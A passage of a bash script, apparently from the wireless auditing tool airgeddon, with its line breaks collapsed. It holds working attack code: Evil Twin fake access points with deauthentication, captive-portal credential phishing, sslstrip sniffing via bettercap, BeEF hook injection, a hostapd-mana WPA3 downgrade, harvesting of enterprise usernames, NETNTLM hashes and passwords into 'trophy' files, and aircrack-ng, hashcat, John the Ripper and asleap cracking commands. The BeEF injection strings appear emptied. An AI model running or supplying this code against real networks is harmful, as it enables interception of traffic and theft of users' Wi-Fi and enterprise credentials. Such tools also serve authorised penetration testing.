default_ettercap_logpath="${default_ettercap_logpath}${default_ettercaplogfilename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "ettercaplog" done fi } #Check if the passwords were captured using bettercap and manage to save them on a file function manage_bettercap_log() { debug_print bettercap_log=0 ask_yesno 302 "yes" if [ "${yesno}" = "y" ]; then bettercap_log=1 default_bettercap_logpath="${default_save_path}" default_bettercaplogfilename=$(sanitize_path "evil_twin_captured_passwords-bettercap-${essid}.txt") rm -rf "${tmpdir}${bettercap_file}"* > /dev/null 2>&1 tmp_bettercaplog="${tmpdir}${bettercap_file}" default_bettercap_logpath="${default_bettercap_logpath}${default_bettercaplogfilename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "bettercaplog" done fi } #Check if the passwords were captured using wps attacks and manage to save them on a file function manage_wps_log() { debug_print wps_potpath="${default_save_path}" if [ -z "${wps_essid}" ]; then wpspot_filename=$(sanitize_path "wps_captured_key-${wps_bssid}.txt") else wpspot_filename=$(sanitize_path "wps_captured_key-${wps_essid}.txt") fi wps_potpath="${wps_potpath}${wpspot_filename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "wpspot" done } #Check if the password was captured using wep all-in-one or besside-ng attack and manage to save it on a file function manage_wep_log() { debug_print wep_potpath="${default_save_path}" weppot_filename=$(sanitize_path "wep_captured_key-${essid}.txt") wep_potpath="${wep_potpath}${weppot_filename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "weppot" done } #Check if a hash or a password was captured using Evil Twin Enterprise attack and manage to save it on a directory function manage_enterprise_log() { debug_print enterprise_potpath="${default_save_path}" enterprisepot_suggested_dirname=$(sanitize_path "enterprise_captured-${essid}") enterprise_potpath="${enterprise_potpath}${enterprisepot_suggested_dirname}/" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "enterprisepot" done } #Check to save certs for Evil Twin Enterprise attack function manage_enterprise_certs() { debug_print enterprisecertspath="${default_save_path}" enterprisecerts_suggested_dirname="enterprise_certs" enterprisecertspath="${enterprisecertspath}${enterprisecerts_suggested_dirname}/" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "certificates" done } #Save created cert files to user's location function save_enterprise_certs() { debug_print if [ ! -d "${enterprisecerts_completepath}" ]; then mkdir -p "${enterprisecerts_completepath}" > /dev/null 2>&1 fi cp "${tmpdir}${certsdir}server.pem" "${enterprisecerts_completepath}" 2> /dev/null cp "${tmpdir}${certsdir}ca.pem" "${enterprisecerts_completepath}" 2> /dev/null cp "${tmpdir}${certsdir}server.key" "${enterprisecerts_completepath}" 2> /dev/null echo language_strings "${language}" 644 "blue" language_strings "${language}" 115 "read" } #Check if the passwords were captured using the captive portal Evil Twin attack and manage to save them on a file function manage_captive_portal_log() { debug_print default_et_captive_portal_logpath="${default_save_path}" default_et_captive_portallogfilename=$(sanitize_path "evil_twin_captive_portal_password-${essid}.txt") default_et_captive_portal_logpath="${default_et_captive_portal_logpath}${default_et_captive_portallogfilename}" validpath=1 while [[ "${validpath}" != "0" ]]; do read_path "et_captive_portallog" done } #Handle enterprise log captures function handle_enterprise_log() { debug_print if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then enterprise_attack_result_code=$(cat < "${tmpdir}${enterprisedir}${enterprise_successfile}" 2> /dev/null) echo if [ "${enterprise_attack_result_code}" -eq 0 ]; then language_strings "${language}" 530 "yellow" parse_from_enterprise "hashes" elif [ "${enterprise_attack_result_code}" -eq 1 ]; then language_strings "${language}" 531 "yellow" parse_from_enterprise "passwords" elif [ "${enterprise_attack_result_code}" -eq 2 ]; then language_strings "${language}" 532 "yellow" parse_from_enterprise "both" fi echo language_strings "${language}" 533 "blue" language_strings "${language}" 115 "read" else echo language_strings "${language}" 529 "red" language_strings "${language}" 115 "read" fi } #Parse enterprise log to create trophy files function parse_from_enterprise() { debug_print local line_number local username local john_hashes=() local hashcat_hashes=() local passwords=() local line_to_check local text_to_check unset enterprise_captured_challenges_responses declare -gA enterprise_captured_challenges_responses readarray -t CAPTURED_USERNAMES < <(grep -n -E "username:" "${tmpdir}${hostapd_wpe_log}" | sort -k 2,3 | uniq --skip-fields=1 2> /dev/null) for item in "${CAPTURED_USERNAMES[@]}"; do [[ "${item}" =~ ([0-9]+):.*username:[[:blank:]]+(.*) ]] && line_number="${BASH_REMATCH[1]}" && username="${BASH_REMATCH[2]}" line_to_check=$((line_number + 1)) text_to_check=$(sed "${line_to_check}q;d" "${tmpdir}${hostapd_wpe_log}" 2> /dev/null) if [[ "${text_to_check}" =~ challenge:[[:blank:]]+(.*) ]]; then enterprise_captured_challenges_responses["${username}"]="${BASH_REMATCH[1]}" line_to_check=$((line_number + 2)) text_to_check=$(sed "${line_to_check}q;d" "${tmpdir}${hostapd_wpe_log}" 2> /dev/null) [[ "${text_to_check}" =~ response:[[:blank:]]+(.*) ]] && enterprise_captured_challenges_responses["${username}"]+=" / ${BASH_REMATCH[1]}" line_to_check=$((line_number + 3)) text_to_check=$(sed "${line_to_check}q;d" "${tmpdir}${hostapd_wpe_log}" 2> /dev/null) [[ "${text_to_check}" =~ jtr[[:blank:]]NETNTLM:[[:blank:]]+(.*) ]] && john_hashes+=("${BASH_REMATCH[1]}") line_to_check=$((line_number + 4)) text_to_check=$(sed "${line_to_check}q;d" "${tmpdir}${hostapd_wpe_log}" 2> /dev/null) [[ "${text_to_check}" =~ hashcat[[:blank:]]NETNTLM:[[:blank:]]+(.*) ]] && hashcat_hashes+=("${BASH_REMATCH[1]}") fi if [[ "${text_to_check}" =~ password:[[:blank:]]+(.*) ]]; then passwords+=("${username} / ${BASH_REMATCH[1]}") fi done prepare_enterprise_trophy_dir case ${1} in "hashes") write_enterprise_hashes_file "hashcat" "${hashcat_hashes[@]}" write_enterprise_hashes_file "john" "${john_hashes[@]}" ;; "passwords") write_enterprise_passwords_file "${passwords[@]}" ;; "both") write_enterprise_hashes_file "hashcat" "${hashcat_hashes[@]}" write_enterprise_hashes_file "john" "${john_hashes[@]}" write_enterprise_passwords_file "${passwords[@]}" ;; esac enterprise_username="${username}" } #Prepare dir for enterprise trophy files function prepare_enterprise_trophy_dir() { debug_print if [ ! -d "${enterprise_completepath}" ]; then mkdir -p "${enterprise_completepath}" > /dev/null 2>&1 fi } #Write enterprise captured hashes to trophy file function write_enterprise_hashes_file() { debug_print local values=("${@:2}") rm -rf "${enterprise_completepath}enterprise_captured_${1}_${bssid}_hashes.txt" > /dev/null 2>&1 for item in "${values[@]}"; do { echo "${item}" } >> "${enterprise_completepath}enterprise_captured_${1}_${bssid}_hashes.txt" done } #Write enterprise captured passwords to trophy file function write_enterprise_passwords_file() { debug_print local values=("${@:1}") rm -rf "${enterprise_completepath}enterprise_captured_${bssid}_passwords.txt" > /dev/null 2>&1 { echo "" date +%Y-%m-%d echo "${enterprise_texts[${language},11]}" echo "" echo "ESSID: ${essid}" echo "BSSID: ${bssid}" echo "" echo "---------------" echo "" } >> "${enterprise_completepath}enterprise_captured_${bssid}_passwords.txt" for item in "${values[@]}"; do { echo "${item}" } >> "${enterprise_completepath}enterprise_captured_${bssid}_passwords.txt" done add_contributing_footer_to_file "${enterprise_completepath}enterprise_captured_${bssid}_passwords.txt" } #Captive portal language menu function set_captive_portal_language() { debug_print clear language_strings "${language}" 293 "title" print_iface_selected print_et_target_vars print_iface_internet_selected echo language_strings "${language}" 318 "green" print_simple_separator language_strings "${language}" 266 print_simple_separator language_strings "${language}" 79 language_strings "${language}" 80 language_strings "${language}" 113 language_strings "${language}" 116 language_strings "${language}" 249 language_strings "${language}" 308 language_strings "${language}" 320 language_strings "${language}" 482 language_strings "${language}" 58 language_strings "${language}" 331 language_strings "${language}" 519 language_strings "${language}" 687 language_strings "${language}" 717 print_hint read -rp "> " captive_portal_language_selected echo case ${captive_portal_language_selected} in 0) return_to_et_main_menu=1 return 1 ;; 1) captive_portal_language="ENGLISH" ;; 2) captive_portal_language="SPANISH" ;; 3) captive_portal_language="FRENCH" ;; 4) captive_portal_language="CATALAN" ;; 5) captive_portal_language="PORTUGUESE" ;; 6) captive_portal_language="RUSSIAN" ;; 7) captive_portal_language="GREEK" ;; 8) captive_portal_language="ITALIAN" ;; 9) captive_portal_language="POLISH" ;; 10) captive_portal_language="GERMAN" ;; 11) captive_portal_language="TURKISH" ;; 12) captive_portal_language="ARABIC" ;; 13) captive_portal_language="CHINESE" ;; *) invalid_captive_portal_language_selected ;; esac return 0 } #Read and validate the minlength var function set_minlength() { debug_print local regexp if [ "${1}" = "personal_handshake_pmkid_capture" ]; then regexp="^[8-9]$|^[1-5][0-9]$|^6[0-3]$" minlength_text=8 elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then regexp="^[8-9]$|^[1-5][0-9]$|^6[0-3]$" minlength_text=8 else regexp="^[1-9]$|^[1-5][0-9]$|^6[0-3]$" minlength_text=1 fi minlength=0 while [[ ! ${minlength} =~ ${regexp} ]]; do echo language_strings "${language}" 194 "green" read -rp "> " minlength done } #Read and validate the maxlength var function set_maxlength() { debug_print local regexp if [ "${1}" = "personal_handshake_pmkid_capture" ]; then regexp="^[8-9]$|^[1-5][0-9]$|^6[0-3]$" elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then regexp="^[8-9]$|^[1-5][0-9]$|^6[0-3]$" else regexp="^[1-9]$|^[1-5][0-9]$|^6[0-3]$" fi maxlength=0 while [[ ! ${maxlength} =~ ${regexp} ]]; do echo language_strings "${language}" 195 "green" read -rp "> " maxlength done } #Manage the minlength and maxlength vars on bruteforce attacks function set_minlength_and_maxlength() { debug_print set_minlength "${1}" maxlength=0 while [[ "${maxlength}" -lt "${minlength}" ]]; do set_maxlength "${1}" done } #Charset selection menu function set_charset() { debug_print clear language_strings "${language}" 238 "title" language_strings "${language}" 196 "green" print_simple_separator language_strings "${language}" 197 language_strings "${language}" 198 language_strings "${language}" 199 language_strings "${language}" 200 language_strings "${language}" 201 language_strings "${language}" 202 language_strings "${language}" 203 language_strings "${language}" 204 language_strings "${language}" 205 language_strings "${language}" 206 language_strings "${language}" 207 print_hint read -rp "> " charset_option case ${1} in "aircrack"|"jtr") case ${charset_option} in 1) charset=${crunch_lowercasecharset} ;; 2) charset=${crunch_uppercasecharset} ;; 3) charset=${crunch_numbercharset} ;; 4) charset=${crunch_symbolcharset} ;; 5) charset="${crunch_lowercasecharset}${crunch_uppercasecharset}" ;; 6) charset="${crunch_lowercasecharset}${crunch_numbercharset}" ;; 7) charset="${crunch_uppercasecharset}${crunch_numbercharset}" ;; 8) charset="${crunch_symbolcharset}${crunch_numbercharset}" ;; 9) charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_numbercharset}" ;; 10) charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_symbolcharset}" ;; 11) charset="${crunch_lowercasecharset}${crunch_uppercasecharset}${crunch_numbercharset}${crunch_symbolcharset}" ;; esac ;; "hashcat") case ${charset_option} in 1) charset="?l" ;; 2) charset="?u" ;; 3) charset="?d" ;; 4) charset="?s" ;; 5) charset="-1 ?l?u" ;; 6) charset="-1 ?l?d" ;; 7) charset="-1 ?u?d" ;; 8) charset="-1 ?s?d" ;; 9) charset="-1 ?l?u?d" ;; 10) charset="-1 ?l?u?s" ;; 11) charset="?a" ;; esac if [[ ${charset} =~ ^\-1 ]]; then charset_tmp="" for ((i=0; i < maxlength; i++)); do charset_tmp+="?1" done charset="\"${charset}\" \"${charset_tmp}\"" else charset_tmp="${charset}" for ((i=0; i < maxlength - 1; i++)); do charset+="${charset_tmp}" done fi ;; esac set_show_charset "${1}" } #Set a var to show the chosen charset function set_show_charset() { debug_print showcharset="" case ${1} in "aircrack"|"jtr") showcharset="${charset}" ;; "hashcat") case ${charset_tmp} in "?a") for item in "${hashcat_charsets[@]}"; do if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then showcharset+=$(hashcat --help | grep "${item} =" | awk '{print $3}') else showcharset+=$(hashcat --help | grep -E "^ ${item#'?'} \|" | awk '{print $3}') fi done ;; *) if [[ ${charset} =~ ^\"\-1[[:blank:]]((\?[luds])+).* ]]; then showcharset="${BASH_REMATCH[1]}" IFS='?' read -ra charset_masks <<< "${showcharset}" showcharset="" for item in "${charset_masks[@]}"; do if [ -n "${item}" ]; then if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then showcharset+=$(hashcat --help | grep "${item} =" | awk '{print $3}') else showcharset+=$(hashcat --help | grep -E "^ ${item} \|" | awk '{print $3}') fi fi done else if [ "${hashcat_charset_fix_needed}" -eq 0 ]; then showcharset=$(hashcat --help | grep "${charset_tmp} =" | awk '{print $3}') else showcharset=$(hashcat --help | grep -E "^ ${charset_tmp#'?'} \|" | awk '{print $3}') fi fi ;; esac ;; esac } #Execute aircrack+crunch bruteforce attack function exec_aircrack_bruteforce_attack() { debug_print rm -rf "${tmpdir}${aircrack_pot_tmp}" > /dev/null 2>&1 aircrack_cmd="crunch \"${minlength}\" \"${maxlength}\" \"${charset}\" | aircrack-ng -a 2 -b \"${bssid}\" -l \"${tmpdir}${aircrack_pot_tmp}\" -w - \"${enteredpath}\" ${colorize}" eval "${aircrack_cmd}" language_strings "${language}" 115 "read" } #Execute aircrack dictionary attack function exec_aircrack_dictionary_attack() { debug_print rm -rf "${tmpdir}${aircrack_pot_tmp}" > /dev/null 2>&1 aircrack_cmd="aircrack-ng -a 2 -b \"${bssid}\" -l \"${tmpdir}${aircrack_pot_tmp}\" -w \"${DICTIONARY}\" \"${enteredpath}\" ${colorize}" eval "${aircrack_cmd}" language_strings "${language}" 115 "read" } #Execute john the ripper dictionary attack function exec_jtr_dictionary_attack() { debug_print rm -rf "${tmpdir}jtrtmp"* > /dev/null 2>&1 jtr_cmd="john \"${jtrenterpriseenteredpath}\" --format=netntlm-naive --wordlist=\"${DICTIONARY}\" --pot=\"${tmpdir}${jtr_pot_tmp}\" --encoding=UTF-8 | tee \"${tmpdir}${jtr_output_file}\" ${colorize}" eval "${jtr_cmd}" language_strings "${language}" 115 "read" } #Execute john the ripper bruteforce attack function exec_jtr_bruteforce_attack() { debug_print rm -rf "${tmpdir}jtrtmp"* > /dev/null 2>&1 jtr_cmd="crunch \"${minlength}\" \"${maxlength}\" \"${charset}\" | john \"${jtrenterpriseenteredpath}\" --stdin --format=netntlm-naive --pot=\"${tmpdir}${jtr_pot_tmp}\" --encoding=UTF-8 | tee \"${tmpdir}${jtr_output_file}\" ${colorize}" eval "${jtr_cmd}" language_strings "${language}" 115 "read" } #Execute hashcat dictionary attack function exec_hashcat_dictionary_attack() { debug_print if [ "${1}" = "personal_handshake_pmkid_capture" ]; then hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 0 \"${tmpdir}${hashcat_tmp_file}\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}" elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 0 \"${tmpdir}${hashcat_tmp_file}\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}" else rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 hashcat_cmd="hashcat -m ${hashcat_enterprise_cracking_plugin} -a 0 \"${hashcatenterpriseenteredpath}\" \"${DICTIONARY}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}" fi eval "${hashcat_cmd}" language_strings "${language}" 115 "read" } #Execute hashcat bruteforce attack function exec_hashcat_bruteforce_attack() { debug_print if [ "${1}" = "personal_handshake_pmkid_capture" ]; then hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 3 \"${tmpdir}${hashcat_tmp_file}\" ${charset} --increment --increment-min=${minlength} --increment-max=${maxlength} --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}" elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 3 \"${tmpdir}${hashcat_tmp_file}\" ${charset} --increment --increment-min=${minlength} --increment-max=${maxlength} --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}" else rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 hashcat_cmd="hashcat -m ${hashcat_enterprise_cracking_plugin} -a 3 \"${hashcatenterpriseenteredpath}\" ${charset} --increment --increment-min=${minlength} --increment-max=${maxlength} --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}" fi eval "${hashcat_cmd}" language_strings "${language}" 115 "read" } #Execute hashcat rule based attack function exec_hashcat_rulebased_attack() { debug_print if [ "${1}" = "personal_handshake_pmkid_capture" ]; then hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 0 \"${tmpdir}${hashcat_tmp_file}\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}" elif [ "${1}" = "personal_handshake_pmkid_hash" ]; then hashcat_cmd="hashcat -m ${hashcat_handshake_cracking_plugin} -a 0 \"${tmpdir}${hashcat_tmp_file}\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}" else rm -rf "${tmpdir}hctmp"* > /dev/null 2>&1 hashcat_cmd="hashcat -m ${hashcat_enterprise_cracking_plugin} -a 0 \"${hashcatenterpriseenteredpath}\" \"${DICTIONARY}\" -r \"${RULES}\" --potfile-disable -o \"${tmpdir}${hashcat_pot_tmp}\"${hashcat_cmd_fix} | tee \"${tmpdir}${hashcat_output_file}\" ${colorize}" fi eval "${hashcat_cmd}" language_strings "${language}" 115 "read" } #Execute WPA3 downgrade attack function exec_wpa3_downgrade_attack() { debug_print set_hostapd_mana_config launch_fake_mana_ap exec_wpa3_downgrade_deauth check_mana_hashes kill_wpa3_downgrade_attack_processes restore_wpa3_downgrade_interface manage_mana_pot clean_tmpfiles } #Execute Enterprise smooth/noisy attack function exec_enterprise_attack() { debug_print rm -rf "${tmpdir}${control_enterprise_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${enterprisedir}" > /dev/null 2>&1 mkdir "${tmpdir}${enterprisedir}" > /dev/null 2>&1 set_hostapd_wpe_config launch_fake_ap exec_et_deauth set_enterprise_control_script launch_enterprise_control_window write_et_processes echo language_strings "${language}" 524 "yellow" language_strings "${language}" 115 "read" kill_et_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi if [ "${enterprise_mode}" = "noisy" ]; then restore_et_interface else if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then if [ -f "${tmpdir}${enterprisedir}returning_vars.txt" ]; then local tmp_interface tmp_interface=$(grep -E "^interface=" "${tmpdir}${enterprisedir}returning_vars.txt" 2> /dev/null | awk -F "=" '{print $2}') if [ -n "${tmp_interface}" ]; then interface="${tmp_interface}" fi local tmp_phy_interface tmp_phy_interface=$(grep -E "^phy_interface=" "${tmpdir}${enterprisedir}returning_vars.txt" 2> /dev/null | awk -F "=" '{print $2}') if [ -n "${tmp_phy_interface}" ]; then phy_interface="${tmp_phy_interface}" fi local tmp_current_iface_on_messages tmp_current_iface_on_messages=$(grep -E "^current_iface_on_messages=" "${tmpdir}${enterprisedir}returning_vars.txt" 2> /dev/null | awk -F "=" '{print $2}') if [ -n "${tmp_current_iface_on_messages}" ]; then current_iface_on_messages="${tmp_current_iface_on_messages}" fi local tmp_ifacemode tmp_ifacemode=$(grep -E "^ifacemode=" "${tmpdir}${enterprisedir}returning_vars.txt" 2> /dev/null | awk -F "=" '{print $2}') if [ -n "${tmp_ifacemode}" ]; then ifacemode="${tmp_ifacemode}" fi rm -rf "${tmpdir}${enterprisedir}returning_vars.txt" > /dev/null 2>&1 fi else restore_et_interface fi fi handle_enterprise_log handle_asleap_attack clean_tmpfiles } #Manage and handle asleap attack integrated on Evil Twin and Enterprise function handle_asleap_attack() { debug_print if [ -f "${tmpdir}${enterprisedir}${enterprise_successfile}" ]; then local result result=$(cat "${tmpdir}${enterprisedir}${enterprise_successfile}") if [[ "${result}" -eq 0 ]] || [[ "${result}" -eq 2 ]]; then ask_yesno 537 "no" if [ "${yesno}" = "y" ]; then asleap_attack_finished=0 if [ ${#enterprise_captured_challenges_responses[@]} -eq 1 ]; then for item in "${!enterprise_captured_challenges_responses[@]}"; do enterprise_username="${item}" done echo language_strings "${language}" 542 "yellow" else select_captured_enterprise_user fi echo language_strings "${language}" 538 "blue" while [[ "${asleap_attack_finished}" != "1" ]]; do ask_dictionary echo exec_asleap_attack echo manage_asleap_pot done fi fi fi } #Menu for captured enterprise user selection function select_captured_enterprise_user() { debug_print echo language_strings "${language}" 47 "green" print_simple_separator local counter=0 local space=" " declare -A temp_array_enterpise_users for item in "${!enterprise_captured_challenges_responses[@]}"; do if [ "${counter}" -gt 9 ]; then space=" " fi counter=$((counter + 1)) echo "${counter}.${space}${item}" temp_array_enterpise_users[${counter}]="${item}" done print_simple_separator option_enterprise_user_selected="" while [[ -z "${option_enterprise_user_selected}" ]]; do read -rp "> " option_enterprise_user_selected if [[ ! "${option_enterprise_user_selected}" =~ ^[0-9]+$ ]] || [[ "${option_enterprise_user_selected}" -lt 1 ]] || [[ "${option_enterprise_user_selected}" -gt ${counter} ]]; then option_enterprise_user_selected="" echo language_strings "${language}" 543 "red" fi done enterprise_username="${temp_array_enterpise_users[${option_enterprise_user_selected}]}" } #Execute asleap attack function exec_asleap_attack() { debug_print rm -rf "${tmpdir}${asleap_pot_tmp}" > /dev/null 2>&1 if [ "${1}" != "offline_menu" ]; then [[ "${enterprise_captured_challenges_responses[${enterprise_username}]}" =~ (([0-9a-zA-Z]{2}:?)+)[[:blank:]]/[[:blank:]](.*) ]] && enterprise_asleap_challenge="${BASH_REMATCH[1]}" && enterprise_asleap_response="${BASH_REMATCH[3]}" fi asleap_cmd="asleap -C \"${enterprise_asleap_challenge}\" -R \"${enterprise_asleap_response}\" -W \"${DICTIONARY}\" -v | tee \"${tmpdir}${asleap_pot_tmp}\" ${colorize}" eval "${asleap_cmd}" } #Execute Evil Twin only Access Point attack function exec_et_onlyap_attack() { debug_print set_hostapd_config launch_fake_ap set_network_interface_data set_dhcp_config set_std_internet_routing_rules launch_dhcp_server exec_et_deauth set_et_control_script launch_et_control_window write_et_processes echo language_strings "${language}" 298 "yellow" language_strings "${language}" 115 "read" kill_et_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi restore_et_interface clean_tmpfiles } #Execute Evil Twin with sniffing attack function exec_et_sniffing_attack() { debug_print set_hostapd_config launch_fake_ap set_network_interface_data set_dhcp_config set_std_internet_routing_rules launch_dhcp_server exec_et_deauth launch_ettercap_sniffing set_et_control_script launch_et_control_window write_et_processes echo language_strings "${language}" 298 "yellow" language_strings "${language}" 115 "read" kill_et_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi restore_et_interface if [ "${ettercap_log}" -eq 1 ]; then parse_ettercap_log fi clean_tmpfiles } #Execute Evil Twin with sniffing+bettercap-sslstrip2 attack function exec_et_sniffing_sslstrip2_attack() { debug_print set_hostapd_config launch_fake_ap set_network_interface_data set_dhcp_config set_std_internet_routing_rules launch_dhcp_server exec_et_deauth launch_bettercap_sniffing set_et_control_script launch_et_control_window write_et_processes echo language_strings "${language}" 298 "yellow" language_strings "${language}" 115 "read" kill_et_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi restore_et_interface if [ "${bettercap_log}" -eq 1 ]; then parse_bettercap_log fi clean_tmpfiles } #Execute Evil Twin with sniffing+bettercap-sslstrip2/beef attack function exec_et_sniffing_sslstrip2_beef_attack() { debug_print set_hostapd_config launch_fake_ap set_network_interface_data set_dhcp_config set_std_internet_routing_rules launch_dhcp_server exec_et_deauth if [ "${beef_found}" -eq 1 ]; then get_beef_version set_beef_config else new_beef_pass="beef" et_misc_texts[${language},27]=${et_misc_texts[${language},27]/${beef_pass}/${new_beef_pass}} beef_pass="${new_beef_pass}" fi launch_beef launch_bettercap_sniffing set_et_control_script launch_et_control_window write_et_processes echo language_strings "${language}" 298 "yellow" language_strings "${language}" 115 "read" kill_et_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi restore_et_interface if [ "${bettercap_log}" -eq 1 ]; then parse_bettercap_log fi clean_tmpfiles } #Execute captive portal Evil Twin attack function exec_et_captive_portal_attack() { debug_print rm -rf "${tmpdir}${webdir}" > /dev/null 2>&1 mkdir "${tmpdir}${webdir}" > /dev/null 2>&1 set_hostapd_config launch_fake_ap set_network_interface_data set_dhcp_config set_std_internet_routing_rules launch_dhcp_server exec_et_deauth set_et_control_script launch_et_control_window launch_dns_blackhole set_webserver_config set_captive_portal_page launch_webserver write_et_processes echo language_strings "${language}" 298 "yellow" language_strings "${language}" 115 "read" kill_et_windows if [ "${dos_pursuit_mode}" -eq 1 ]; then recover_current_channel fi restore_et_interface clean_tmpfiles } #Create configuration files for bettercap function set_bettercap_config() { debug_print rm -rf "${tmpdir}${bettercap_config_file}" > /dev/null 2>&1 if [ "${et_mode}" = "et_sniffing_sslstrip2_beef" ]; then rm -rf "${tmpdir}${bettercap_hook_file}" > /dev/null 2>&1 { echo -e "set http.proxy.script ${bettercap_hook_file}" } >> "${tmpdir}${bettercap_config_file}" { echo -e "function onLoad() {" echo -e "\tlog('BeefInject loaded.');" echo -e "\tlog('targets: ' + env['arp.spoof.targets']);" echo -e "}\n" echo -e "function onResponse(req, res) {" echo -e "\tif (res.ContentType.indexOf('text/html') == 0) {" echo -e "\t\tvar body = res.ReadBody();" echo -e "\t\tif (body.indexOf('') != -1) {" echo -e "\t\t\tres.Body = body.replace('', '');" echo -e "\t\t}" echo -e "\t}" echo -e "}" } >> "${tmpdir}${bettercap_hook_file}" fi { echo -e "set http.proxy.port ${bettercap_proxy_port}" echo -e "set http.proxy.sslstrip true" echo -e "http.proxy on\n" echo -e "set net.sniff.verbose true" echo -e "net.recon on" echo -e "net.sniff on\n" echo -e "events.stream off" echo -e "set events.stream.http.request.dump true\n" echo -e "events.ignore net.sniff.http.response" echo -e "events.ignore http.proxy.spoofed-response" echo -e "events.ignore net.sniff.dns" echo -e "events.ignore net.sniff.tcp" echo -e "events.ignore net.sniff.udp" echo -e "events.ignore net.sniff.mdns" echo -e "events.ignore net.sniff.sni" echo -e "events.ignore net.sniff.https\n" echo -e "events.stream on" } >> "${tmpdir}${bettercap_config_file}" } #Create configuration file for hostapd-mana function set_hostapd_mana_config() { debug_print rm -rf "${tmpdir}${hostapd_mana_file}" > /dev/null 2>&1 rm -rf "${tmpdir}${hostapd_mana_out}" > /dev/null 2>&1 et_bssid=$(generate_fake_bssid "${bssid}") { echo -e "interface=${interface}" echo -e "driver=nl80211" echo -e "ssid=${essid}" echo -e "bssid=${et_bssid}" echo -e "mana_wpaout=${tmpdir}${hostapd_mana_out}" echo -e "wpa=2" echo -e "wpa_key_mgmt=WPA-PSK" echo -e "wpa_pairwise=TKIP CCMP" echo -e "wpa_passphrase=\"${mana_pass}\"" echo -e "channel=${channel}" } >> "${tmpdir}${hostapd_mana_file}" if [ "${channel}" -gt 14 ]; then { echo -e "hw_mode=a" } >> "${tmpdir}${hostapd_mana_file}" else { echo -e "hw_mode=g" } >> "${tmpdir}${hostapd_mana_file}" fi if [ "${country_code}" != "00" ]; then { echo -e "country_code=${country_code}" } >> "${tmpdir}${hostapd_mana_file}" fi if [ "${standard_80211n}" -eq 1 ]; then { echo -e "ieee80211n=1" } >> "${tmpdir}${hostapd_mana_file}" fi if [ "${standard_80211ac}" -eq 1 ]; then { echo -e "ieee80211ac=1" } >> "${tmpdir}${hostapd_mana_file}" fi #ieee80211ax and ieee80211be not supported } #Create configuration file for hostapd function set_hostapd_config() { debug_print get_hostapd_version rm -rf "${tmpdir}${hostapd_file}" > /dev/null 2>&1 et_bssid=$(generate_fake_bssid "${bssid}") et_essid=$(generate_fake_essid "${essid}") { echo -e "interface=${interface}" echo -e "driver=nl80211" echo -e "ssid=${et_essid}" echo -e "bssid=${et_bssid}" echo -e "channel=${channel}" echo -e "wpa=0" echo -e "ignore_broadcast_ssid=0" } >> "${tmpdir}${hostapd_file}" if [ "${channel}" -gt 14 ]; then { echo -e "hw_mode=a" } >> "${tmpdir}${hostapd_file}" else { echo -e "hw_mode=g" } >> "${tmpdir}${hostapd_file}" fi if [ "${country_code}" != "00" ]; then { echo -e "country_code=${country_code}" } >> "${tmpdir}${hostapd_file}" fi if [ "${standard_80211n}" -eq 1 ]; then { echo -e "ieee80211n=1" } >> "${tmpdir}${hostapd_file}" fi if [ "${standard_80211ac}" -eq 1 ]; then { echo -e "ieee80211ac=1" } >> "${tmpdir}${hostapd_file}" fi if [ "${standard_80211ax}" -eq 1 ]; then { echo -e "ieee80211ax=1" } >> "${tmpdir}${hostapd_file}" fi if compare_floats_greater_or_equal "${hostapd_version}" "${hostapd_wifi7_version}"; then if [ "${standard_80211be}" -eq 1 ]; then { echo -e "ieee80211be=1" } >> "${tmpdir}${hostapd_file}" fi fi } #Create configuration file for hostapd function set_hostapd_wpe_config() { debug_print 